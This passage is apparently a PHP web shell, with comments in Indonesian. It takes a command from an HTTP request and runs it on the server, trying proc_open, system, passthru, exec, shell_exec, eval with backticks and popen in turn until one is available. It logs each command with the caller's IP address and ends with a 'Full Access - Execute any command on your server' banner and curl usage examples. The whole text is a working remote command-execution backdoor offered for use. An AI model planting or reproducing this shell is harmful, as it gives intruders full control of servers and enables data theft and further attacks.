false, 'command' => $cmd, 'method_used' => '', 'output' => '', 'return_code' => -1, 'error' => null ]; // Daftar metode yang akan dicoba $methods = [ 'proc_open' => 'executeWithProcOpen', 'system' => 'executeWithSystem', 'passthru' => 'executeWithPassthru', 'exec' => 'executeWithExec', 'shell_exec' => 'executeWithShellExec', 'backtick' => 'executeWithBacktick', 'popen' => 'executeWithPopen' ]; foreach ($methods as $method_name => $method_func) { if (function_exists($method_func)) { $exec_result = $method_func($cmd); if ($exec_result !== false) { $result['success'] = true; $result['method_used'] = $method_name; $result['output'] = $exec_result['output']; $result['return_code'] = $exec_result['return_code']; break; } } } if (!$result['success']) { $result['error'] = 'No execution method available!'; } return $result; } function executeWithProcOpen($cmd) { if (!function_exists('proc_open')) return false; $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); $return_code = proc_close($process); return [ 'output' => $output . ($error ? "\n[STDERR]\n" . $error : ''), 'return_code' => $return_code ]; } return false; } function executeWithSystem($cmd) { if (!function_exists('system')) return false; ob_start(); system($cmd . ' 2>&1', $return_code); $output = ob_get_clean(); return [ 'output' => $output, 'return_code' => $return_code ]; } function executeWithPassthru($cmd) { if (!function_exists('passthru')) return false; ob_start(); passthru($cmd . ' 2>&1', $return_code); $output = ob_get_clean(); return [ 'output' => $output, 'return_code' => $return_code ]; } function executeWithExec($cmd) { if (!function_exists('exec')) return false; $output = []; exec($cmd . ' 2>&1', $output, $return_code); return [ 'output' => implode("\n", $output), 'return_code' => $return_code ]; } function executeWithShellExec($cmd) { if (!function_exists('shell_exec')) return false; $output = shell_exec($cmd . ' 2>&1'); return [ 'output' => $output, 'return_code' => 0 ]; } function executeWithBacktick($cmd) { if (!function_exists('eval')) return false; try { $output = eval('return `' . addslashes($cmd) . '`;'); return [ 'output' => $output, 'return_code' => 0 ]; } catch (Exception $e) { return false; } } function executeWithPopen($cmd) { if (!function_exists('popen')) return false; $output = ''; $handle = popen($cmd . ' 2>&1', 'r'); while (!feof($handle)) { $output .= fread($handle, 8192); } $return_code = pclose($handle); return [ 'output' => $output, 'return_code' => $return_code ]; } // ==================== LOGGING ==================== function logCommand($cmd, $result) { global $LOG_FILE; $log_entry = [ 'time' => date('Y-m-d H:i:s'), 'ip' => $_SERVER['REMOTE_ADDR'], 'method' => $_SERVER['REQUEST_METHOD'], 'command' => $cmd, 'execution_method' => $result['method_used'], 'success' => $result['success'], 'return_code' => $result['return_code'] ]; $log_line = json_encode($log_entry) . "\n"; @file_put_contents($LOG_FILE, $log_line, FILE_APPEND); } // ==================== TAMPILKAN UI ==================== ?>
Full Access - Execute any command on your server
curl -X POST -d "cmd=ls -la" ?cmd=ls -la?cmd=ls -la&ajax=1